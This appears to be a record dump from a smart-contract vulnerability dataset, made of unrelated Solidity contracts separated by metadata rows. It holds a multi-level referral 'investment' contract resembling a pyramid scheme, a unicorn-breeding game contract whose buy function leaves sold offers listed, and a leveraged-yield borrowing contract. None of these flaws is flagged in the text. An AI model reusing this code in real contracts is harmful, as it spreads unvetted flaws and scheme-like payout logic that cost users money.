// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 300,364 | 14,073 |
3547b76139be92a4e0fdce17744934ce182b2f706e54c6c4b016e54ab267e4b4
| 17,669 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4fdb91dbce6cee2e08cf85d26eaa3e9bca0c12fe.sol
| 4,458 | 17,529 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract UnicornManagementInterface {
function ownerAddress() external view returns (address);
function managerAddress() external view returns (address);
function communityAddress() external view returns (address);
function dividendManagerAddress() external view returns (address);
function walletAddress() external view returns (address);
function blackBoxAddress() external view returns (address);
function unicornBreedingAddress() external view returns (address);
function geneLabAddress() external view returns (address);
function unicornTokenAddress() external view returns (address);
function candyToken() external view returns (address);
function candyPowerToken() external view returns (address);
function createDividendPercent() external view returns (uint);
function sellDividendPercent() external view returns (uint);
function subFreezingPrice() external view returns (uint);
function subFreezingTime() external view returns (uint64);
function subTourFreezingPrice() external view returns (uint);
function subTourFreezingTime() external view returns (uint64);
function createUnicornPrice() external view returns (uint);
function createUnicornPriceInCandy() external view returns (uint);
function oraclizeFee() external view returns (uint);
function paused() external view returns (bool);
// function locked() external view returns (bool);
function isTournament(address _tournamentAddress) external view returns (bool);
function getCreateUnicornFullPrice() external view returns (uint);
function getHybridizationFullPrice(uint _price) external view returns (uint);
function getSellUnicornFullPrice(uint _price) external view returns (uint);
function getCreateUnicornFullPriceInCandy() external view returns (uint);
//service
function registerInit(address _contract) external;
}
contract ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract DividendManagerInterface {
function payDividend() external payable;
}
contract BlackBoxInterface {
function createGen0(uint _unicornId) public payable;
function geneCore(uint _childUnicornId, uint _parent1UnicornId, uint _parent2UnicornId) public payable;
}
contract UnicornTokenInterface {
//ERC721
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _unicornId) public view returns (address _owner);
function transfer(address _to, uint256 _unicornId) public;
function approve(address _to, uint256 _unicornId) public;
function takeOwnership(uint256 _unicornId) public;
function totalSupply() public constant returns (uint);
function owns(address _claimant, uint256 _unicornId) public view returns (bool);
function allowance(address _claimant, uint256 _unicornId) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _unicornId) public;
//specific
function createUnicorn(address _owner) external returns (uint);
// function burnUnicorn(uint256 _unicornId) external;
function getGen(uint _unicornId) external view returns (bytes);
function setGene(uint _unicornId, bytes _gene) external;
function updateGene(uint _unicornId, bytes _gene) external;
function getUnicornGenByte(uint _unicornId, uint _byteNo) external view returns (uint8);
function setName(uint256 _unicornId, string _name) external returns (bool);
function plusFreezingTime(uint _unicornId) external;
function plusTourFreezingTime(uint _unicornId) external;
function minusFreezingTime(uint _unicornId, uint64 _time) external;
function minusTourFreezingTime(uint _unicornId, uint64 _time) external;
function isUnfreezed(uint _unicornId) external view returns (bool);
function isTourUnfreezed(uint _unicornId) external view returns (bool);
function marketTransfer(address _from, address _to, uint256 _unicornId) external;
}
contract UnicornAccessControl {
UnicornManagementInterface public unicornManagement;
function UnicornAccessControl(address _unicornManagementAddress) public {
unicornManagement = UnicornManagementInterface(_unicornManagementAddress);
unicornManagement.registerInit(this);
}
modifier onlyOwner() {
require(msg.sender == unicornManagement.ownerAddress());
_;
}
modifier onlyManager() {
require(msg.sender == unicornManagement.managerAddress());
_;
}
modifier onlyCommunity() {
require(msg.sender == unicornManagement.communityAddress());
_;
}
modifier onlyTournament() {
require(unicornManagement.isTournament(msg.sender));
_;
}
modifier whenNotPaused() {
require(!unicornManagement.paused());
_;
}
modifier whenPaused {
require(unicornManagement.paused());
_;
}
modifier onlyManagement() {
require(msg.sender == address(unicornManagement));
_;
}
modifier onlyBreeding() {
require(msg.sender == unicornManagement.unicornBreedingAddress());
_;
}
modifier onlyGeneLab() {
require(msg.sender == unicornManagement.geneLabAddress());
_;
}
modifier onlyBlackBox() {
require(msg.sender == unicornManagement.blackBoxAddress());
_;
}
modifier onlyUnicornToken() {
require(msg.sender == unicornManagement.unicornTokenAddress());
_;
}
function isGamePaused() external view returns (bool) {
return unicornManagement.paused();
}
}
contract UnicornBreeding is UnicornAccessControl {
using SafeMath for uint;
//onlyOwner
UnicornTokenInterface public unicornToken; //only on deploy
BlackBoxInterface public blackBox;
event HybridizationAdd(uint indexed unicornId, uint price);
event HybridizationAccept(uint indexed firstUnicornId, uint indexed secondUnicornId, uint newUnicornId);
event HybridizationDelete(uint indexed unicornId);
event FundsTransferred(address dividendManager, uint value);
event CreateUnicorn(address indexed owner, uint indexed unicornId, uint parent1, uint parent2);
event NewGen0Limit(uint limit);
event NewGen0Step(uint step);
event OfferAdd(uint256 indexed unicornId, uint price);
event OfferDelete(uint256 indexed unicornId);
event UnicornSold(uint256 indexed unicornId);
ERC20 public candyToken;
ERC20 public candyPowerToken;
//counter for gen0
uint public gen0Limit = 30000;
uint public gen0Count = 0;
uint public gen0Step = 1000;
//counter for presale gen0
uint public gen0PresaleLimit = 1000;
uint public gen0PresaleCount = 0;
struct Hybridization{
uint listIndex;
uint price;
bool exists;
}
// Mapping from unicorn ID to Hybridization struct
mapping (uint => Hybridization) public hybridizations;
mapping(uint => uint) public hybridizationList;
uint public hybridizationListSize = 0;
function() public payable {
}
function UnicornBreeding(address _unicornManagementAddress) UnicornAccessControl(_unicornManagementAddress) public {
candyToken = ERC20(unicornManagement.candyToken());
}
function init() onlyManagement whenPaused external {
unicornToken = UnicornTokenInterface(unicornManagement.unicornTokenAddress());
blackBox = BlackBoxInterface(unicornManagement.blackBoxAddress());
candyPowerToken = ERC20(unicornManagement.candyPowerToken());
}
function makeHybridization(uint _unicornId, uint _price) public {
require(unicornToken.owns(msg.sender, _unicornId));
require(unicornToken.isUnfreezed(_unicornId));
require(!hybridizations[_unicornId].exists);
hybridizations[_unicornId] = Hybridization({
price: _price,
exists: true,
listIndex: hybridizationListSize
});
hybridizationList[hybridizationListSize++] = _unicornId;
emit HybridizationAdd(_unicornId, _price);
}
function acceptHybridization(uint _firstUnicornId, uint _secondUnicornId) whenNotPaused public payable {
require(unicornToken.owns(msg.sender, _secondUnicornId));
require(_secondUnicornId != _firstUnicornId);
require(unicornToken.isUnfreezed(_firstUnicornId) && unicornToken.isUnfreezed(_secondUnicornId));
require(hybridizations[_firstUnicornId].exists);
require(msg.value == unicornManagement.oraclizeFee());
if (hybridizations[_firstUnicornId].price > 0) {
require(candyToken.transferFrom(msg.sender, this, getHybridizationPrice(_firstUnicornId)));
}
plusFreezingTime(_secondUnicornId);
uint256 newUnicornId = unicornToken.createUnicorn(msg.sender);
blackBox.geneCore.value(unicornManagement.oraclizeFee())(newUnicornId, _firstUnicornId, _secondUnicornId);
emit CreateUnicorn(msg.sender, newUnicornId, _firstUnicornId, _secondUnicornId);
if (hybridizations[_firstUnicornId].price > 0) {
candyToken.transfer(unicornToken.ownerOf(_firstUnicornId), hybridizations[_firstUnicornId].price);
}
emit HybridizationAccept(_firstUnicornId, _secondUnicornId, newUnicornId);
_deleteHybridization(_firstUnicornId);
}
function cancelHybridization (uint _unicornId) public {
require(unicornToken.owns(msg.sender,_unicornId));
require(hybridizations[_unicornId].exists);
_deleteHybridization(_unicornId);
}
function deleteHybridization(uint _unicornId) onlyUnicornToken external {
_deleteHybridization(_unicornId);
}
function _deleteHybridization(uint _unicornId) internal {
if (hybridizations[_unicornId].exists) {
hybridizations[hybridizationList[--hybridizationListSize]].listIndex = hybridizations[_unicornId].listIndex;
hybridizationList[hybridizations[_unicornId].listIndex] = hybridizationList[hybridizationListSize];
delete hybridizationList[hybridizationListSize];
delete hybridizations[_unicornId];
emit HybridizationDelete(_unicornId);
}
}
//Create new 0 gen
function createUnicorn() public payable whenNotPaused returns(uint256) {
require(msg.value == getCreateUnicornPrice());
return _createUnicorn(msg.sender);
}
function createUnicornForCandy() public payable whenNotPaused returns(uint256) {
require(msg.value == unicornManagement.oraclizeFee());
require(candyToken.transferFrom(msg.sender, this, getCreateUnicornPriceInCandy()));
return _createUnicorn(msg.sender);
}
function createPresaleUnicorns(uint _count, address _owner) public payable onlyManager whenPaused returns(bool) {
require(gen0PresaleCount.add(_count) <= gen0PresaleLimit);
uint256 newUnicornId;
address owner = _owner == address(0) ? msg.sender : _owner;
for (uint i = 0; i < _count; i++){
newUnicornId = unicornToken.createUnicorn(owner);
blackBox.createGen0(newUnicornId);
emit CreateUnicorn(owner, newUnicornId, 0, 0);
gen0Count = gen0Count.add(1);
gen0PresaleCount = gen0PresaleCount.add(1);
}
return true;
}
function _createUnicorn(address _owner) private returns(uint256) {
require(gen0Count < gen0Limit);
uint256 newUnicornId = unicornToken.createUnicorn(_owner);
blackBox.createGen0.value(unicornManagement.oraclizeFee())(newUnicornId);
emit CreateUnicorn(_owner, newUnicornId, 0, 0);
gen0Count = gen0Count.add(1);
return newUnicornId;
}
function plusFreezingTime(uint _unicornId) private {
unicornToken.plusFreezingTime(_unicornId);
}
function plusTourFreezingTime(uint _unicornId) onlyTournament public {
unicornToken.plusTourFreezingTime(_unicornId);
}
//change freezing time for candy
function minusFreezingTime(uint _unicornId) public {
require(candyPowerToken.transferFrom(msg.sender, this, unicornManagement.subFreezingPrice()));
unicornToken.minusFreezingTime(_unicornId, unicornManagement.subFreezingTime());
}
//change tour freezing time for candy
function minusTourFreezingTime(uint _unicornId) public {
require(candyPowerToken.transferFrom(msg.sender, this, unicornManagement.subTourFreezingPrice()));
unicornToken.minusTourFreezingTime(_unicornId, unicornManagement.subTourFreezingTime());
}
function getHybridizationPrice(uint _unicornId) public view returns (uint) {
return unicornManagement.getHybridizationFullPrice(hybridizations[_unicornId].price);
}
function getEtherFeeForPriceInCandy() public view returns (uint) {
return unicornManagement.oraclizeFee();
}
function getCreateUnicornPriceInCandy() public view returns (uint) {
return unicornManagement.getCreateUnicornFullPriceInCandy();
}
function getCreateUnicornPrice() public view returns (uint) {
return unicornManagement.getCreateUnicornFullPrice();
}
function withdrawTokens() onlyManager public {
require(candyToken.balanceOf(this) > 0 || candyPowerToken.balanceOf(this) > 0);
if (candyToken.balanceOf(this) > 0) {
candyToken.transfer(unicornManagement.walletAddress(), candyToken.balanceOf(this));
}
if (candyPowerToken.balanceOf(this) > 0) {
candyPowerToken.transfer(unicornManagement.walletAddress(), candyPowerToken.balanceOf(this));
}
}
function transferEthersToDividendManager(uint _value) onlyManager public {
require(address(this).balance >= _value);
DividendManagerInterface dividendManager = DividendManagerInterface(unicornManagement.dividendManagerAddress());
dividendManager.payDividend.value(_value)();
emit FundsTransferred(unicornManagement.dividendManagerAddress(), _value);
}
function setGen0Limit() external onlyCommunity {
require(gen0Count == gen0Limit);
gen0Limit = gen0Limit.add(gen0Step);
emit NewGen0Limit(gen0Limit);
}
function setGen0Step(uint _step) external onlyCommunity {
gen0Step = _step;
emit NewGen0Step(gen0Limit);
}
////MARKET
struct Offer{
uint marketIndex;
uint price;
bool exists;
}
// Mapping from unicorn ID to Offer struct
mapping (uint => Offer) public offers;
// market index => offerId
mapping(uint => uint) public market;
uint public marketSize = 0;
function sellUnicorn(uint _unicornId, uint _price) public {
require(unicornToken.owns(msg.sender, _unicornId));
require(!offers[_unicornId].exists);
offers[_unicornId] = Offer({
price: _price,
exists: true,
marketIndex: marketSize
});
market[marketSize++] = _unicornId;
emit OfferAdd(_unicornId, _price);
}
function buyUnicorn(uint _unicornId) public payable {
require(offers[_unicornId].exists);
uint price = offers[_unicornId].price;
require(msg.value == unicornManagement.getSellUnicornFullPrice(price));
address owner = unicornToken.ownerOf(_unicornId);
emit UnicornSold(_unicornId);
//deleteoffer transfer
unicornToken.marketTransfer(owner, msg.sender, _unicornId);
owner.transfer(price);
// _deleteOffer(_unicornId);
}
function revokeUnicorn(uint _unicornId) public {
require(unicornToken.owns(msg.sender, _unicornId));
require(offers[_unicornId].exists);
_deleteOffer(_unicornId);
}
function deleteOffer(uint _unicornId) onlyUnicornToken external {
_deleteOffer(_unicornId);
}
function _deleteOffer(uint _unicornId) internal {
if (offers[_unicornId].exists) {
offers[market[--marketSize]].marketIndex = offers[_unicornId].marketIndex;
market[offers[_unicornId].marketIndex] = market[marketSize];
delete market[marketSize];
delete offers[_unicornId];
emit OfferDelete(_unicornId);
}
}
function getOfferPrice(uint _unicornId) public view returns (uint) {
return unicornManagement.getSellUnicornFullPrice(offers[_unicornId].price);
}
}
| 176,583 | 14,074 |
82a7b784ffeb6834de832806232507701eb21bdd17ec1565c301136eacd9be25
| 21,623 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/2b/2b2021c83d88fd0dce869973c85933d85790a596_BorrowContract.sol
| 3,785 | 14,161 |
// SPDX-License-Identifier: NONE
pragma solidity 0.5.17;
// Part: ERC20Interface
interface ERC20Interface {
function balanceOf(address user) external view returns (uint);
}
// Part: Bigfoot
interface Bigfoot {
/// @dev Work on a (potentially new) position. Optionally send BNB back to Bank.
function work(uint id,
address user,
uint debt,
bytes calldata data) external;
/// @dev Return the amount of BNB wei to get back if we are to liquidate the position.
function health(uint id) external view returns (uint);
/// @dev Liquidate the given position to BNB. Send all BNB back to Bank.
function liquidate(uint id) external;
}
// Part: OpenZeppelin/[emailprotected]/IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[emailprotected]/Ownable
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: OpenZeppelin/[emailprotected]/ReentrancyGuard
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// Part: OpenZeppelin/[emailprotected]/SafeMath
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Part: Strategy
interface Strategy {
/// @dev Execute worker strategy. Take LP tokens + BNB. Return LP tokens + BNB.
/// @param user The original user that is interacting with the operator.
/// @param debt The user's total debt, for better decision making context.
/// @param data Extra calldata information passed along to this strategy.
function execute(address user,
uint debt,
bytes calldata data) external payable;
}
interface IVault{
function token() external view returns(address);
}
// Part: Uniswap/[emailprotected]/IUniswapV2Pair
// Part: IMasterChef
// Making the original MasterChef as an interface leads to compilation fail.
// Use Contract instead of Interface here
contract IMasterChef {
// Info of each user.
struct UserInfo {
uint amount; // How many LP tokens the user has provided.
uint rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint allocPoint; // How many allocation points assigned to this pool. CAKEs to distribute per block.
uint lastRewardBlock; // Last block number that CAKEs distribution occurs.
uint accCakePerShare; // Accumulated CAKEs per share, times 1e12. See below.
}
address public eleven;
// Info of each user that stakes LP tokens.
mapping(uint => PoolInfo) public poolInfo;
mapping(uint => mapping(address => UserInfo)) public userInfo;
// Deposit LP tokens to MasterChef for CAKE allocation.
function deposit(uint _pid, uint _amount) external {}
// Withdraw LP tokens from MasterChef.
function withdraw(uint _pid, uint _amount) external {}
function pendingEleven(uint _pid, address _user) external view returns (uint){}
}
// Part: SafeToken
library SafeToken {
function myBalance(address token) internal view returns (uint) {
return ERC20Interface(token).balanceOf(address(this));
}
function balanceOf(address token, address user) internal view returns (uint) {
return ERC20Interface(token).balanceOf(user);
}
function safeApprove(address token,
address to,
uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), '!safeApprove');
}
function safeTransfer(address token,
address to,
uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), '!safeTransfer');
}
function safeTransferFrom(address token,
address from,
address to,
uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), '!safeTransferFrom');
}
function safeTransferBNB(address to, uint value) internal {
(bool success,) = to.call.value(value)(new bytes(0));
require(success, '!safeTransferBNB');
}
}
interface VaultInterface{
function getPricePerFullShare() external view returns (uint);
function depositAll() external;
function deposit(uint _amount) external;
function token() view external returns(IERC20);
function transfer(address recipient, uint256 amount) external returns (bool);
}
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface Positions{
function positions(uint) external view returns (address, address, uint);
}
interface ICurveSwap{
function calc_withdraw_one_coin(uint amount, int128 option) external view returns (uint);
function coins(uint) external view returns(address);
}
// Borrow Contract
contract BorrowContract is Ownable, ReentrancyGuard, Bigfoot {
/// @notice Libraries
using SafeToken for address;
using SafeMath for uint;
/// @notice Events
event ModifyShare(uint indexed id, uint share);
event Liquidate(uint indexed id, uint wad);
/// @notice Immutable variables
address public lpToken;
address public operator;
address public vaultAddress;
address public bankcurrency;
address public fToken;
mapping(address=>int128) public getTokenIndex;
address public curveswap;
/// @notice Mutable state variables
mapping(uint => uint) public shares;
mapping(address => bool) public okStrats;
Strategy public addStrat;
Strategy public liqStrat;
constructor(address _vaultAddress, address _bankAddress, address _bankcurrency, address _liqstrat, address _addstrat, address _fToken, address _curveswap, int128 pairlength) public {
vaultAddress = _vaultAddress;
operator = _bankAddress;
bankcurrency = _bankcurrency;
liqStrat = Strategy(_liqstrat);
addStrat = Strategy(_addstrat);
okStrats[address(addStrat)] = true;
okStrats[address(liqStrat)] = true;
lpToken = IVault(vaultAddress).token();
fToken = _fToken;
curveswap = _curveswap;
for(int128 i; i<pairlength; i++)
getTokenIndex[ICurveSwap(curveswap).coins(uint(i))] = i;
}
/// @dev Require that the caller must be the operator (the bank).
modifier onlyOperator() {
require(msg.sender == operator, 'not operator');
_;
}
function lpToBalance(uint balance) public view returns (uint){
uint pps = VaultInterface(vaultAddress).getPricePerFullShare();
return balance.mul(1e18).div(pps);//TODO doublecheck perfect maths
}
function balanceToLp(uint balance) public view returns (uint){
uint pps = VaultInterface(vaultAddress).getPricePerFullShare();
return balance.mul(pps).div(1e18).mul(9997).div(10000);//TODO doublecheck perfect maths
}
/// @dev Work on the given position. Must be called by the operator.
/// @param id The position ID to work on.
/// @param user The original user that is interacting with the operator.
/// @param debt The amount of user debt to help the strategy make decisions.
/// @param data The encoded data, consisting of strategy address and calldata.
function work(uint id,
address user,
uint debt,
bytes calldata data) external onlyOperator nonReentrant {
// 1. Check Vault tokens before starting.
uint256 bfrtokens = vaultAddress.myBalance();
(address strat, uint vaultTokens, bytes memory ext) = abi.decode(data, (address, uint, bytes));
if(vaultTokens>0) vaultAddress.safeTransferFrom(user, address(this), vaultTokens);
require(okStrats[strat], 'unapproved work strategy');
vaultAddress.safeTransfer(strat, shares[id]);
bankcurrency.safeTransfer(strat, bankcurrency.myBalance());
Strategy(strat).execute(user, debt, ext);
// 3. Add shares to the record.
uint aftrtokens = vaultAddress.myBalance();
if(aftrtokens>bfrtokens)
shares[id] = shares[id].add(aftrtokens.sub(bfrtokens));
else shares[id] = shares[id].sub(bfrtokens.sub(aftrtokens));
// 4. Return any remaining bankcurrency back to the operator.
bankcurrency.safeTransfer(msg.sender, bankcurrency.myBalance());
emit ModifyShare(id, shares[id]);
}
/// @dev Return the amount of BNB to receive if we are to liquidate the given position.
/// @param id The position ID to perform health check.
function health(uint id) external view returns (uint) {
// 1. Get the position's LP balance and LP total supply.
uint lpBalance = balanceToLp(shares[id]);
int128 tokenindex = getTokenIndex[bankcurrency];
if(lpBalance == 0) return 0;
return
ICurveSwap(curveswap).calc_withdraw_one_coin(lpBalance,tokenindex);
}
/// @dev Liquidate the given position by converting it to BNB and return back to caller.
/// @param id The position ID to perform liquidation
function liquidate(uint id) external onlyOperator nonReentrant {
// 1. Convert the position back to LP tokens and use liquidate strategy.
vaultAddress.safeTransfer(address(liqStrat), shares[id]);
liqStrat.execute(address(0), 0, abi.encode(fToken,0));
// 2. Return all available BNB back to the operator.
uint wad = bankcurrency.myBalance();
bankcurrency.safeTransfer(msg.sender, wad);
shares[id] = 0;
emit ModifyShare(id, 0);
emit Liquidate(id, wad);
}
/// @dev Recover ERC20 tokens that were accidentally sent to this smart contract.
/// @param token The token contract. Can be anything. This contract should not hold ERC20 tokens.
/// @param to The address to send the tokens to.
/// @param value The number of tokens to transfer to `to`.
function recover(address token,
address to,
uint value) external onlyOwner nonReentrant {
require(token != vaultAddress, "rugs not allowed");
token.safeTransfer(to, value);
}
/// @dev Set the given strategies' approval status.
/// @param strats The strategy addresses.
/// @param isOk Whether to approve or unapprove the given strategies.
function setStrategyOk(address[] calldata strats, bool isOk) external onlyOwner {
uint len = strats.length;
for (uint idx = 0; idx < len; idx++) {
okStrats[strats[idx]] = isOk;
}
}
/// @dev Set liquidation strategy. Be extremely careful.
function setCriticalStrat(address _liqstrat) external onlyOwner{
liqStrat = Strategy(_liqstrat);
}
}
| 78,648 | 14,075 |
a2ea4aa812f9fe5ed5b006383c59e7e091d738d58cdf4e8b87b8ae7a520a72b1
| 19,365 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6e0Baef6febC1A20d7625d89b0818c13f50F4b75/contract.sol
| 5,098 | 18,175 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
